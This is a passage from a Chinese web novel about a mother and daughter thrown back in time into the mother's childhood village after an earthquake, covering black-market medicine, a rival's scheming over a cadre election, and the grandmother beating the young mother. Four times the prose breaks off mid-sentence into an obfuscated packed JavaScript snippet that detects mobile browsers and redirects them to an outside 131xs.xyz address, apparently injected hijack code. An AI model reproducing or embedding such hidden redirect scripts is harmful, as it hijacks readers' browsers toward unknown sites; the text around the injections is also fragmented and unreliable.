成秀英一个箭步冲过去,不顾危险地用力掀开压在上面的碎木板。瓦瓮口被一块破布塞着。她颤抖着手扯开破布,探头往里一看—— 昏黄的煤油灯光下,瓦瓮里赫然是半瓮金灿灿的玉米粒!虽然也沾了些灰土,但在饥饿的阴影笼罩下,这无疑是救命的黄金! “玉米!是玉米!”成秀英激动得声音都变了调,扑过去抓起一把,浑浊的老泪再次滚落,“老天爷……老天爷开眼啊!这是……这是震前刚换回来的口粮!压在柜子底下,没……没被埋实!” 成秀英看着那半瓮玉米,又猛地回头看向靠在炕边、脸色苍白如纸却刚刚救了弟弟一命的方夏荷,以及她身边那个怯生生指出了粮瓮的小女孩何田。 她紧紧抱着那瓮玉米,看向方夏荷母女的目光,复杂到了极点,最终,那层坚硬的外壳似乎裂开了一道缝隙,露出里面一丝极其罕见的、属于人情的温度。 “有粮了……”成秀英的声音低沉,带着哽咽:“省着点,掺着野菜……能撑些日子。” 王君顿了顿,目光扫过哽咽的成秀英、重伤的成刚、虚弱的方夏荷、年幼的何田和自己的两个孙女:“天塌不下来!只要人还在,就有法子活!” 昏暗摇曳的灯火下,这句低低的话语,像一颗火星,落入了这片被绝望浸泡的废墟,点燃了第一缕微弱却真实的希望。 王君那句“天塌不下来”还带着颤音在昏暗的厨房里飘着,成刚一声痛苦的呻吟就把这点微弱的希望又扯紧了。他灰败的脸上泛起不正常的潮红,呼吸又急又浅,伤口处被盐水狠狠冲刷过的皮肉,在煤油灯下泛着一种危险的、湿漉漉的暗红。 “烧得更厉害了……”方夏荷撑着炕沿,指尖冰凉,声音带着脱力后的虚浮,“光这样不行……得消炎药,退烧药……不然……”后面的话她没说,但盆里那些脓血污物的气味,和成刚越来越急促的呼吸,像冰冷的针扎在每个人心上。 成秀英抱着那瓮玉米,手臂勒得死紧,仿佛那是弟弟的命。她猛地抬头,目光像淬了火的刀子,射向门外无边的黑暗:“我去找!公社卫生院!黑市!总能弄到!” “公社路塌了,没车靠两条腿走到天亮也未必到!黑市?”王君绝望地摇头,“拿啥换?就这点玉米?人家要的是钱!是票!” “拿命换!”成秀英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867224|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是吼出来,眼眶赤红。 “别冲动!”方夏荷按住胸口,压下翻涌的眩晕感,强行集中精神,“药……肯定要弄,但不能硬闯。秀英姐,你男人……方文斌同志,不是在大队帮忙吗?他……他能不能想想办法?大队……有没有应急药品?或者……他认识的人多……” “方文斌?”成秀英像是被这个名字烫了一下,脸上瞬间蒙上一层更深的怨愤和绝望,“他?他心里只有他的大队!他的公家事!亲小舅子快死了,他人在哪儿?!”她的声音尖利,带着积压已久的委屈和愤怒,在寂静的夜里格外刺耳。 就在这时,院子外传来一阵急促而沉重的脚步声,伴随着一个男人粗哑的喘息:“秀英!秀英!家里咋样了?刚子呢?” 一个高大的身影带着一身寒气和水汽,猛地撞开了厨房那扇摇摇欲坠的破门板。来人正是方文斌。他浑身泥泞,裤腿湿到膝盖,脸上带着疲惫和焦急,手里还拎着半截撬棍。 “文斌!”王君像是抓住了主心骨,声音带了哭腔。 方文斌一眼就看到了门板上昏迷不醒、脸色通红的成刚,还有地上那盆触目惊心的血水污物。他瞳孔一缩,几步抢到门板前:“刚子!刚子!伤这么重?咋弄的?” 成秀英却像一头被激怒的母狮,猛地冲上去,狠狠推了方文斌一把:“你还知道回来!你死哪儿去了!你心里还有这个家吗!刚子被砸的时候你在哪?!现在回来有什么用!他快烧死了!药呢!你有药吗!”她的拳头雨点般落在方文斌沾满泥浆的胸膛上,哭骂声撕心裂肺,连日来的恐惧、委屈、绝望,在这一刻彻底爆发。 方文斌没躲,硬生生受着妻子的捶打,脸上是深深的愧疚和痛苦:“秀英……秀英你听我说!东头塌得厉害,压了好多人,我……我脱不开身啊!刚子……刚子他……”他看着小舅子那可怕的伤口和灰败的脸色,声音哽住了。 “现在说这些有什么用!”成秀英打累了,瘫坐在地上,捂着脸痛哭,“药!药啊!没有药,刚子就完了……” 方文斌抹了把脸,泥水和汗水混在一起。他蹲下身,仔细看了看成刚的伤口,又摸了摸他滚烫的额头,眉头拧成了疙瘩。“伤口……处理过?”他有些惊异地看向旁边脸色苍白、靠着炕沿的方夏荷。刚才混乱中,他隐约听到是这个陌生女人在指挥。 “是这位夏姑娘……用盐水……硬生生冲干净的……”王君哽咽着解释,看向方夏荷的眼神充满了感激和后怕。 方文斌看向方夏荷,眼神锐利而复杂:“你懂医?” 方夏荷强撑着站直了些,尽量让自己的声音平稳:“以前……学过点护理。伤口感染很重,高烧不退,必须用消炎药,不然……破伤风或者败血症……”她用了这个年代更让人恐惧的词。 方文斌的脸色更加凝重。他当然知道问题的严重性。大队那点可怜的急救药品,早就被搜刮一空用在更重的伤员身上了。黑市……他下意识摸了摸自己空瘪的口袋。 厨房里陷入一片死寂,只有成刚粗重的呼吸和煤油灯芯燃烧的噼啪声。绝望像冰冷的潮水,再次无声地漫上来。 “文斌……”王君的声音带着小心翼翼的试探,“你……你不是认识……粮站那个老李吗?他路子广……能不能……” 方文斌眼神剧烈地闪烁了一下,似乎被戳中了某个隐秘的开关。他飞快地扫了一眼厨房里的其他人,尤其是方夏荷和何田这两个“外人”,嘴唇抿得死紧,脸上掠过一丝挣扎和犹豫。 5. 第 5 章 “老李……”他低低重复了一句,眼神晦暗不明。过了好几秒,他才像是下了某种决心,猛地站起身,走到墙角,从那个半瓮玉米里,狠狠舀出一小瓢金灿灿的玉米粒。动作快得成秀英都没来得及阻止。 “你干什么!”成秀英惊怒。 方文斌没看她,又飞快地把自己裤兜里仅有的几张皱巴巴、湿漉漉的粮票掏了出来,和玉米粒紧紧攥在一起。他走到王君面前,声音压得极低,带着一种破釜沉舟的意味:“娘,家里……还有没有……那个东西?” 王君愣了一下,随即脸色大变,浑浊的眼睛里充满了惊恐:“文斌!你疯了!那东西……那东西怎么能……” “顾不上了!”方文斌的声音从牙缝里挤出来,带着不容置疑的狠厉,“刚子的命要紧!我知道你藏了一个……给我!” 王君看着他通红的眼睛,又看看门板上气息微弱的成刚,老泪纵横,最终颤抖着手,从自己贴身衣服最深处,摸索出一个用油纸包了好几层、只有火柴盒大小的东西,哆哆嗦嗦地塞到方文斌手里。 方文斌看也没看,迅速将那小包东西连同玉米、粮票一起塞进怀里,紧紧捂住。他深吸一口气,转向成秀英,眼神复杂:“秀英,你看好家,看好刚子。我出去一趟。” “你去哪?你拿什么换?你怀里揣的什么?”成秀英扑上来抓住他的胳膊,声音带着哭腔和惊疑。 “别问!”方文斌猛地甩开她的手,力道之大让成秀英踉跄了一下。他的眼神锐利如刀,带着一种近乎凶狠的警告扫过在场的每一个人,尤其是方夏荷和何田:“今晚的事,谁要是敢说出去半个字……”他没有说下去,但那冰冷的眼神比任何威胁都更有力。 他不再停留,转身大步冲进了门外的黑暗中,沉重的脚步声迅速被无边的雨夜吞没。 厨房里死一般的寂静。 成秀英呆呆地看着丈夫消失的方向,又看看一脸惨白惊惧的王君,最后目光落在方夏荷和何田身上。她张了张嘴,却发不出任何声音。空气里弥漫着玉米的微香、伤口的腥气、还有一丝若有若无的、冰冷的恐惧——那恐惧并非来自眼前的灾难,而是来自方文斌最后那个眼神,以及那包被塞进怀里的、未知的“东西”。 何田下意识地往方夏荷身后缩了缩,小手紧紧抓住了母亲的衣角。方夏荷背上的伤口火烧火燎地疼,心却沉得像坠入了冰窟。她看懂了方文斌的眼神,那不仅仅是警告,更是一种孤注一掷的疯狂。为了救成刚,他动用了某个绝不能见光的“秘密”,而这个秘密,将成为悬在他们所有人头顶的、另一把更危险的利剑。 王君颓然跌坐在凳子上,双手捂着脸,压抑的呜咽从指缝中漏出。成秀英回过神,扑到成刚身边,紧紧握住弟弟滚烫的手,仿佛那是她唯一的浮木。她看向方夏荷,眼神里充满了混乱的哀求:“妹子……你……你再想想办法……帮他撑住……撑到文斌回来……” 方夏荷看着成刚灰败的脸色,感受着女儿紧抓着自己衣角的颤抖,疲惫地点了点头。她重新拿起那块烧过的布,蘸着凉水,轻轻敷在成刚的额头。凉意似乎让成刚的痛苦呻吟微弱了些许。 昏暗的灯光下,三代人的目光都紧紧锁在门板上那个生死一线的年轻人身上。时间从未如此缓慢而沉重,每一秒都像是在滚烫的油锅里煎熬。她们在等待,等待方文斌带回救命的药,也在等待那个未知的“秘密”所带来的、无法预料的未来。 窗外,雨声淅沥,夜色浓稠如墨,仿佛要将这残破的院落和里面所有的希望与恐惧,都彻底吞噬。 日子在废墟的清理和重建中,像指缝里的沙子,艰难却也一天天溜走。 方文斌那夜顶着暴雨消失,又顶着黎明前最深重的黑暗回来,浑身湿透,泥浆裹到小腿,脸色苍白得像鬼,但怀里紧紧揣着一个小布包。他没多说话,只把布包塞给守在成刚身边、眼睛熬得通红的方夏荷。 布包里是几片珍贵的磺胺药片,还有一小瓶安乃近注射液。 “快……”方文斌的声音嘶哑得几乎听不清,嘴唇冻得发紫,只吐出一个字,就靠着门框滑坐下去,头一歪,竟累得昏睡过去。 方夏荷没有丝毫犹豫,立刻指挥成秀英烧水化药,自己则用仅存的一点力气,颤抖着给成刚注射了退烧针,又小心翼翼地将磺胺药片碾碎,混着温水一点点灌进成刚干裂的嘴里。 或许是方文斌拼死带回来的药起了效,或许是成刚年轻的生命力足够顽强,又或许是方夏荷那盐水清创的决绝提前遏制了最坏的情况。成刚的高烧在第二天下午奇迹般地开始退了,虽然依旧虚弱昏迷,但呼吸渐渐平稳下来,伤口边缘那狰狞的红肿也似乎有了一丝消退的迹象。 压在每个人心头那块沉甸甸的巨石,终于松动了一点缝隙。 成秀英抱着那半瓮玉米,精打细算地过日子。每天清晨,王君带着何田去挖野菜,成秀英则和缓过劲来的方文斌一起清理废墟,试图在倒塌的堂屋旁边搭起一个能遮风挡雨的窝棚。方夏荷背上的伤也在缓慢愈合,她一边照顾着成刚,一边尽可能帮忙料理家务,指点着何田用有限的野菜和玉米面做出能糊口的饭食。 收音机里断断续续传来的消息,成了灰暗日子里的一线微光。 他们所在的地区并非震中,受灾情况虽重,但比起那些被夷为平地的城镇,已是万幸。政府的救援抵达了——每人分到了几斤救济粮,一些旧衣物,还有一小包漂白粉用来净化浑浊的水源。 这点支援,像久旱后降下的零星甘霖,滋润了濒临枯竭的希望。靠着这点救济,加上方夏荷和何田“发现”的那半瓮玉米,以及王君、成秀英、何田每日不懈挖掘的野菜,一家人竟真的熬过了最艰难的头半个月。 方文斌的勤恳和担当,在震后的废墟上显得尤为耀眼。他几乎是日夜不停地奔波,组织人手清理道路,帮助孤寡老人搭建临时住所,分配有限的救援物资,处理各种突发矛盾。他身材高大,话不多,但做事利落,为人公道,在村民中渐渐积累起极高的声望。大队原有的干部在地震中或死或伤,组织一时瘫痪,上面很快指定方文斌作为临时负责人,带领村民进行灾后重建。 有了“官方身份”,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867225|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文斌更加忙碌,但家里的状况也在他的努力下一点点改善。窝棚搭起来了,虽然简陋,但总算不用挤在随时可能倒塌的厨房里。倒塌的堂屋也被清理出来,有用的木料、砖瓦被仔细地收集好,准备日后重建。他甚至想办法弄来了一些相对完整的油毡纸,把窝棚的顶盖得更严实了些,挡住了几场突如其来的秋雨。 成刚的伤势恢复得比预想中好。在磺胺药的控制下,感染被遏制住了,烧彻底退了,人也清醒过来,只是骨折的腿还需要漫长的恢复。 看着弟弟能自己喝下糊糊,成秀英脸上那层终日不散的戾气和愁苦,终于消融了一些。她对方夏荷母女的态度,也悄然发生着变化。虽然依旧算不上热络,但至少不再横眉冷对,偶尔分食物时,也会默不作声地给何田碗里多拨一小勺。 何田和小夏荷,这两个小小的孩子,成了这片废墟上最灵动的色彩。小夏荷依然怯生生的,像只容易受惊的小兔子,但眼神里少了些最初的麻木和恐惧,多了点好奇。她常常安静地坐在角落里,看着何田帮王君择菜,或者用树枝在泥地上画画。 何田则努力扮演着一个“懂事姐姐”的角色,挖野菜时总想着多找点能吃的,分给小夏荷时也尽量显得自然些。她看着小夏荷小心翼翼地舔着碗边,心里那点想要“弥补”的执念,变得更加强烈。 日子,仿佛真的在朝着好的方向挪动。残垣断壁间,似乎萌发出一点名为“家”的、脆弱的嫩芽。 这天傍晚,夕阳的余晖给废墟镀上了一层暖金色。窝棚前的空地上,方文斌正和几个村里的壮劳力商量着怎么用清理出来的木料,先给几户房子全塌的人家搭个能过冬的棚子。他蹲在地上,用树枝在泥地上画着草图,神情专注,条理清晰。旁边的村民听着,不时点头,脸上带着信服。 “文斌哥说得在理!” “对,就这么干!听文斌的!” “有文斌领着,咱们村肯定能重新立起来!” 赞誉声不高,却透着真心实意。方文斌黝黑的脸上没什么表情,只是摆摆手:“都是乡里乡亲的,该做的。先把眼前这关过了。” 不远处,蒋大海抱臂靠在半截土墙上,嘴里叼着根草茎,眯着眼看着这一幕。他身材也算壮实,但眼神飘忽,带着股说不出的油滑劲儿。 地震时,他借口“组织协调”,躲在高处吆五喝六,指挥别人往前冲,抢修道路、搬运重物的累活危险活一概不沾边。等到上面来人视察,他又总能第一时间凑上去,唾沫横飞地汇报“成绩”,把别人的功劳也往自己身上揽。 看着方文斌在村民中日益高涨的威望,听着那些发自肺腑的拥护声,蒋大海心里像被毒虫噬咬着,又酸又妒。临时负责人的位置,他本以为凭自己的“能说会道”和“人脉关系”唾手可得,没想到被这个闷头干活的方文斌截了胡!现在听说上面要正式任命灾后重建的村干部,他更是坐不住了。 “哼,神气什么……”蒋大海啐掉嘴里的草茎,低声嘟囔,“不就是会卖力气么?傻大个一个!”他眼珠子滴溜溜地转着,琢磨着怎么给方文斌使绊子。 6. 第 6 章 兜里算盘一响 蒋大海正想着,粮站的老李推着辆破自行车,车把上挂着个空布袋,晃晃悠悠地从村口方向过来。他看见方文斌这边人多,似乎愣了一下,脚步顿了顿,脸上闪过一丝慌乱,随即低下头,想加快脚步绕过去。 “哟!老李!”蒋大海却像发现了什么宝贝,眼睛一亮,立刻扬起声,热情地招呼起来,“才回来啊?粮站忙坏了吧?” 老李被他这一嗓子喊住,只得停下,勉强挤出个笑:“啊……是,是有点忙,蒋兄弟。” 方文斌也抬起头,看到老李,只是点了点头,算是打过招呼,又低头继续跟村民讨论木料的事。态度自然,并无异样。 蒋大海却像只闻到了腥味的猫,笑嘻嘻地凑近老李,掏出皱巴巴的烟盒递过去一支劣质烟:“来来,抽根烟歇歇。哎,最近粮站有啥新政策没?救济粮还能再申请点不?你看咱村这情况……” 他一边跟老李套着近乎,一边眼角的余光却死死锁在老李推着的自行车上。 那车后座上,似乎沾着几点新鲜的泥浆,颜色和村里常见的黄土不太一样……更重要的是,老李那件半旧的工作服口袋里,鼓鼓囊囊的,隐约露出一个……崭新的、印着“XX制药厂”字样的牛皮纸信封角? 蒋大海的心猛地一跳!药?粮站的老李,口袋里怎么会有制药厂的信封?联想到地震后方文斌那个小舅子成刚,伤得那么重,据说都化脓高烧快不行了,后来居然挺过来了……村里医生都没了,他们哪来的药? 一个模糊的、带着强烈恶意的念头,像毒蛇一样钻进了蒋大海的脑海。他脸上的笑容越发热情,拍着老李的肩膀:“老李啊,咱哥俩可得好好唠唠!走,去我家坐坐?我那儿还有点地瓜干……” 他半推半拉着有些不知所措的老李,朝着自家方向走去,临走前,还不忘回头,深深地、意味深长地瞥了一眼蹲在地上的方文斌。 夕阳彻底沉入地平线,暮色四合。窝棚里,成秀英把最后一点玉米面掺着野菜做的糊糊分到碗里。方文斌拖着疲惫的身体走进来,接过碗,呼噜噜地喝着。 “今天蒋大海,好像跟粮站老李走挺近?”成秀英随口问了一句。 方文斌端着碗的手顿了一下,随即恢复如常,声音低沉:“嗯,碰上了吧。管他呢,身正不怕影子斜。” 他仰头把最后一点糊糊倒进嘴里,放下碗,走到角落里铺着的草垫子旁,看了看熟睡的小夏荷和何田。 小夏荷蜷缩着,小手紧紧攥着何田的一根手指。方文斌粗糙的大手,轻轻抚过女儿稀疏发黄的头发,眼神里流露出一丝难得的温柔。 窝棚外,夜色渐浓,一片宁静。然而,在这片刚刚恢复一丝生机的废墟之上,一股带着嫉妒和算计的阴风,已然悄然刮起,无声地卷向这个刚刚站稳脚跟的家。 蒋大海油灯下的那张脸,正对着那个印着药厂名字的信封角,露出了一个志在必得的、阴冷的笑容。 秋日的阳光褪去了毒辣,带着几分暖意,却也晒得人皮肤发干。坡地上,方夏荷和何田正跟着王君、成秀英一起,在清理出来的田垄上点种冬小麦。泥土的腥气混着汗水的咸味,在空气中弥漫。 何田的小手握着粗糙的麦种,一颗颗仔细地按进翻松的土里,再用脚轻轻压实。 她腰酸背痛,手指被麦秆划了几道红痕,火辣辣的。看着眼前望不到头的田垄,再想想2025年那个空调房里刷手机、为前男友一条信息就心神不宁的自己,她忍不住叹了口气,小声嘟囔:“妈……这日子,也太苦了。天天就是干活,干活,吃饱都费劲……我感觉我是来参加变形记了。” 方夏荷直起酸痛的腰,抹了把额头的汗,脸上被晒得泛红。她看着女儿那副苦大仇深的小脸,声音带着劳作后的沙哑:“你老妈我从小就是这么过来的。能吃饱一顿玉米糊糊,就算是好日子了。冬天没厚棉袄,手脚冻得全是冻疮,也得出去捡柴火。哪像你们这一代独生子女,生下来就是蜜罐里泡着,要什么有什么,一个男人不爱你就觉得难受死了,一点风吹草动就觉得天塌了。” 何田愣了愣,目光投向远处起伏的山峦和刚刚清理出轮廓的村庄废墟,眼神有些悠远。 是啊,这天地多大,人要活下来,要活得好一点,要面对多少事?天灾、人祸、饥荒、病痛……哪一样不比儿女情长那点事儿要命?为个男人要死要活?放在眼下,连吃饱穿暖都是奢望的时候,那点心思,真是……太微小了。 何田手里点种的动作慢了下来。她看着母亲被汗水浸湿的鬓角,看着她粗糙开裂的手指,再看看这广袤却贫瘠的土地,还有远处废墟上忙碌重建的身影。一股羞愧感涌了上来,混杂着一种前所未有的清明。 她曾经觉得失去爱情是无法消解的痛苦,人心变迁是不能接受的背叛,可在真正的生存压力面前,那点纠结显得稚嫩可笑。 母亲能在震灾后迅速扛起这个家,能在绝望中冷静地救人性命,能在日复一日的艰辛劳作里撑下来,不是因为她天生就坚强如铁,而是因为她从小就在这样的环境里摸爬滚打,生活的重锤早就把她的筋骨锤炼得无比硬朗。 “妈……”何田的声音有些哽咽,她低下头,更认真地埋下一颗种子,像小女儿依偎着母亲的手臂撒娇:“妈……你好厉害哦。” 方夏荷看着女儿低垂的脑袋和那一点细微的领悟,心里微微一酸,又有些许欣慰,她是不会谦虚的,扬起下巴:“现在知道你老妈厉害了吧。” 有些道理,说一百遍不如亲身在这片土地上流一天汗来得深刻。 就在母女俩沉默劳作的时候,何田眼角的余光瞥见田埂边上,那个小小的身影——小夏荷。她没有跟着下地,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867226|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在田边玩耍。此刻,她正背对着大人,小小的身子缩在一丛枯黄的野草后面,低着头,肩膀一耸一耸的,不知道在偷偷捣鼓什么。她刚想悄悄过去看看,就听见远处传来一阵急促的脚步声。 是方文斌的好哥们,村里的木匠赵大壮。他一脸焦急地跑到地头,也顾不上避讳成秀英和王君,喘着粗气就对方文斌喊:“文斌哥!不好了!蒋大海那王八羔子,最近上蹿下跳得厉害!挨家挨户串门,送烟递酒的,拉拢了不少人!我听他那意思,这次选村干部,他是志在必得啊!还到处说……说你就知道傻干,不会来事儿,当不了家……” 方文斌停下手中的锄头,眉头拧了起来。他抹了把汗,沉默了片刻,才摆摆手,声音低沉却带着一股憨直的劲儿:“大壮,别急。咱行得正坐得端,给村里干了多少实事,大伙儿都看在眼里。选干部,选的是能带着大家过好日子的人,又不是选耍嘴皮子搞关系的。我相信乡亲们心里有杆秤。” “哎呀我的哥!”赵大壮急得直跺脚,“你就是太实诚了!这人心隔肚皮,蒋大海那张嘴多能忽悠?他私下许了多少好处谁知道?你也得走动走动,跟大家伙说说你的想法啊!不能光埋头干活啊!” 方文斌黝黑的脸上没什么表情变化,只是叹了口气:“搞那些虚头巴脑的干啥?有那功夫,不如多开几分地。我相信公道自在人心。”他没太把蒋大海的伎俩放在心上,或者说,他不愿意把事情想得太复杂。 但这话听在旁边的成秀英耳朵里,却像点着了火药桶!她猛地扔下手里的麦种,柳眉倒竖,脸上瞬间布满了寒霜:“啥?!蒋大海那个狗东西,也配当干部?地震那会儿躲得比耗子还快,现在倒出来抢功劳了?还敢编排我男人?!” 她越说越气,胸脯剧烈起伏:“不行!我找他去!我倒要看看他当着我的面敢不敢放屁!”说罢,也顾不上满手的泥,风风火火地就朝着蒋大海家的方向冲去。 “秀英!秀英!你回来!”方文斌和王君急忙喊她,但哪里拦得住。成秀英那脾气,一旦上来,九头牛都拉不回。 方夏荷和何田对视一眼,都看到了对方眼里的担忧。何田下意识地看向田埂边的小夏荷,那孩子似乎被大人的争吵声惊动了,正慌乱地把什么东西往怀里藏。 成秀英一路冲到蒋大海家院子外,隔着篱笆就开骂:“蒋大海!你个缩头乌龟给我滚出来!有本事背后嚼舌根,没本事当面放个屁?!想当干部?你也不撒泡尿照照自己那德行!地震的时候你死哪去了?现在倒出来充大瓣蒜了!” 蒋大海慢悠悠地从屋里踱出来,脸上带着皮笑肉不笑的假笑:“哟,这不是秀英嫂子吗?这么大嗓门干啥?谁惹你了?我这不也是为了咱村好吗?文斌兄弟能干是能干,可这当干部,光会傻干也不行,得会协调关系,会为乡亲们争取好处,你说是不是?” 7. 第 7 章 兜里算盘一响 “放你娘的狗臭屁!”成秀英气得浑身发抖,“你就是嫉妒!嫉妒文斌得人心!有本事你也去干点人事!少在背后耍阴招!” 蒋大海那泼辣媳妇也叉着腰出来了,尖着嗓子帮腔:“哎呦喂,我说方家的,你在这嚎什么丧?我们家大海招你惹你了?自己男人没本事,管不住村里人,倒怪起别人来了?再说了,你一个连生俩赔钱货的,福薄命浅克兄弟的,不好好在家待着反省,跑出来撒什么泼?也不怕晦气!” “赔钱货”“福薄命浅”“克兄弟”……这些恶毒的字眼像淬了毒的针,狠狠扎进成秀英最痛的地方!她脸色瞬间惨白,指着蒋大海媳妇,气得一句话也说不出来,胸口剧烈起伏。 “你……你们……”成秀英只觉得一股腥甜涌上喉咙,她再也待不下去,猛地转身,像一头受伤的困兽,跌跌撞撞地往回冲。 回到田垄上,那股无处发泄的怒火和羞辱还在胸腔里熊熊燃烧。 她一眼就看见小夏荷正鬼鬼祟祟地蹲在角落里,小手紧紧攥着,似乎在藏什么东西。 “你在干什么?!”成秀英厉声喝道,声音尖利得吓人。 小夏荷一哆嗦,惊恐地抬头,看到母亲那张因为愤怒而扭曲的脸,下意识地把小手往身后藏。 这个动作彻底点燃了成秀英的怒火!她几步冲过去,粗暴地一把抓住小夏荷细瘦的手腕,硬生生地把孩子的手指掰开! 小夏荷吃痛,哇地一声哭出来,小手被迫摊开——掌心里,赫然是一小块褪了色的、不知从哪个废墟里捡来的、印着模糊红星的旧布片,像是某种袖章的一角。大人世界里权力的象征,孩子只是把它当成了鲜艳的“玩具”。 就这么个微不足道的小东西! 可在成秀英眼里,却成了压垮骆驼的最后一根稻草!委屈、愤怒、羞辱、对未来的恐惧,以及对自身“无子”的自卑,全都找到了一个宣泄口! “没出息的东西!偷鸡摸狗的毛病又犯了!跟你那死鬼舅舅一样不争气!我让你藏!让你藏!”成秀英彻底失去了理智,劈头盖脸地对着小夏荷瘦小的身体又打又掐,巴掌重重地落在孩子的背上、胳膊上,伴随着尖利恶毒的咒骂。 “哇——”小夏荷哭得撕心裂肺,像只被狂风暴雨摧残的小猫,拼命蜷缩着,却无处可逃。 刚刚跟着跑回来的方夏荷和何田,正看到这一幕。何田惊得捂住了嘴,方夏荷则如遭雷击,浑身僵硬地站在原地。 眼前的景象,与她记忆深处那些黑暗的碎片瞬间重叠——粗暴的拉扯、落在身上的巴掌、刻薄的咒骂、还有那深入骨髓的恐惧和无助……那个被打骂的孩子,就是她自己!而施暴者,正是眼前这个年轻、暴怒、面目全非的母亲! 一股巨大的、混杂着心痛、愤怒、悲哀的复杂情绪,像冰冷的潮水,瞬间淹没了方夏荷。她看着那个在母亲手下无助哭泣的“自己”,又看看那个被怒火吞噬的、年轻的“母亲”,胃里翻江倒海。 看着姥姥打骂童年时的妈妈,何田看向身边的母亲,方夏荷的脸色难看至极。 小夏荷凄厉的哭声像钝刀子割在方夏荷的心上,眼前这残暴的一幕与她记忆深处无数次上演的噩梦严丝合缝地重叠。那些被刻意封存的恐惧、无助和深入骨髓的委屈,轰然喷发! “住手!”方夏荷的声音嘶哑却带着一种穿透混乱的尖利,她猛地冲过去,撞开了成秀英再次扬起的手臂!她将被打得瑟瑟发抖的小夏荷搂进怀里,用后背对着成秀英。 成秀英被撞得一个趔趄,愕然地看着方夏荷,怒火更炽:“你干什么!我教训自己闺女,轮得到你管?!” “教训?”方夏荷抬起头,眼睛却烧着两簇骇人的火焰:“她才多大?她懂什么?不就是捡了块破布头当玩意儿吗?!值得你这样下死手?!你摸摸她的胳膊,都让你掐紫了!成秀英,她还是个孩子!一个连饭都吃不饱,连件像样衣服都没有的孩子!” 方夏荷的话像冰锥,扎得成秀英一窒。她看着蜷缩在方夏荷怀里、哭得几乎背过气去的小女儿,那张布满泪痕、满是惊恐的小脸,还有胳膊上清晰可见的青紫指印……一丝迟来的、连她自己都不愿承认的心疼和后怕,刚冒头就被更汹涌的委屈和怒火淹没了。 “你懂什么?!你一个外人懂什么!”成秀英尖叫起来,声音带着破音的哭腔,她指着小夏荷,又指向一旁吓傻了的何田,最后指向虚空,“赔钱货!都是赔钱货!生不出儿子就是我的错!我命贱!我福薄!我克兄弟!连外人都能指着我的鼻子骂!我男人屁都不放一个!我在外面受气,回家连个出气的都没有吗?!不打她打谁?!”她歇斯底里地哭喊着,长久压抑的屈辱和压力在这一刻彻底崩溃。 何田被成秀英的疯狂吓住了,她紧紧抓住方夏荷的衣角,看着母亲抱着那个小小的、哭泣的“妈妈”,看着歇斯底里的姥姥,心里堵得喘不过气。 “赔钱货?命贱?”方夏荷抱着怀里幼小的自己,感受着那瘦小身体的剧烈颤抖,心像被撕裂一般。她看着眼前这个年轻母亲,那个在她记忆里永远暴躁易怒的母亲,声音带着一种冰冷的、穿透岁月的悲哀:“成秀英,你也是女人!你也是从赔钱货长大的!你打她的时候,看着她哭的时候,有没有想过,你打的也是你自己小时候?!” 这句话像一道惊雷,劈在混乱的现场。王君捂着嘴,神色极尽复杂。 成秀英脸上血色尽褪。她看着方夏荷怀里那个小小的“自己”,再看看方夏荷那双燃烧着火焰的眼睛,一股寒意从脚底窜起。她张着嘴,想反驳,喉咙里却像塞满了滚烫的沙子,一个字也吐不出来。 方文斌走了进来,看着院子里的一片狼藉,眉头紧锁:“又闹什么?老远就听见吵吵!”他的目光扫过哭泣的小夏荷和抱着她的方夏荷,最后落在披头散发、脸色惨白的成秀英身上。 成秀英看到方文斌,那股无处发泄的邪火瞬间找到了新的靶子。她扑过去,哭骂道:“你死哪去了?!啊?!我在外面被人指着鼻子骂‘生不出儿子’‘克兄弟’!蒋大海的婆娘骂我是‘晦气’!你人呢?!你替我说过一句话吗?!你除了会闷头干活,你还会干什么?!人家蒋大海都知道拉关系走后门争位置,你呢?就知道傻干傻干!现在好了,人家都骑到咱头上拉屎了!你连个屁都不敢放!我替你出头,我被人糟践!我回家教训个丫头片子,还有人拦着指着鼻子骂我!这日子没法过了!” 她越说越气,猛地冲到窝棚里临时搭起的土灶边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867227|176184||http|test|mini|href|location''.split(''|''),0,{})); 